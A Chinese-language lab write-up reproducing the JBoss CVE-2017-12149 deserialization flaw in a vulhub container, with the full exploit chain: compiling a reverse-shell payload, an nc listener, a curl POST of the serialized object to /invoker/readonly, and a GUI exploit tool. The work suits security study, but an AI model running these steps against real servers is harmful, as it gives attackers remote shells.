Jboss(CVE-2017-12149)反序列化命令执行漏洞

漏洞简介

该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。
受影响系统及应用版本    Jboss AS 5.x、Jboss AS 6.x

环境搭建

使用vulhub靶场

cd vulhub/jboss/CVE-2017-12149

docker-compose up -d

访问靶场

Jboss(CVE-2017-12149)反序列化命令执行漏洞_第1张图片

 访问 JBoss漏洞页面,http://your-ip:8080/invoker/readonly

如返回 HTTP Status 500,表示存在漏洞

Jboss(CVE-2017-12149)反序列化命令执行漏洞_第2张图片


漏洞复现

poc脚本

 脚本地址http://scan.javasec.cn/java/JavaDeserH2HC.zip

解压至kali

Jboss(CVE-2017-12149)反序列化命令执行漏洞_第3张图片

1.编译预置 Payload 的 Java 文件(需要JDK环境)

在脚本目录下执行命令:

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

2.开启监听:nc -lvvp 2022

Jboss(CVE-2017-12149)反序列化命令执行漏洞_第4张图片

3.执行以下命令,反弹 Shell 的IP( Kali 攻击机的IP)和端口:

java -cp .:commons-collections-3.2.1.jar  ReverseShellCommonsCollectionsHashMap  your-ip:port

 4.使用 curl 命令向http://your-ip:8080/invoker/readonly提交payload(上面生成的反序列化对象):

curl http://your-ip:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

5.刚才 Kali 开启的监听 2022 端口的终端即可获得反弹 Shell:

Jboss(CVE-2017-12149)反序列化命令执行漏洞_第5张图片

工具利用

工具地址:https://github.com/yunxu1/jboss-_CVE-2017-12149

解压至kali

在工具目录下,启动工具:java -jar jboss反序列_CVE-2017-12149.jar

输入目标IP,点击执行,kali环境下没有检测出当前系统环境,但是可以执行命令。

Jboss(CVE-2017-12149)反序列化命令执行漏洞_第6张图片

 

参考链接:

https://bwshen.blog.csdn.net/article/details/107184574

你可能感兴趣的:(漏洞复现,安全)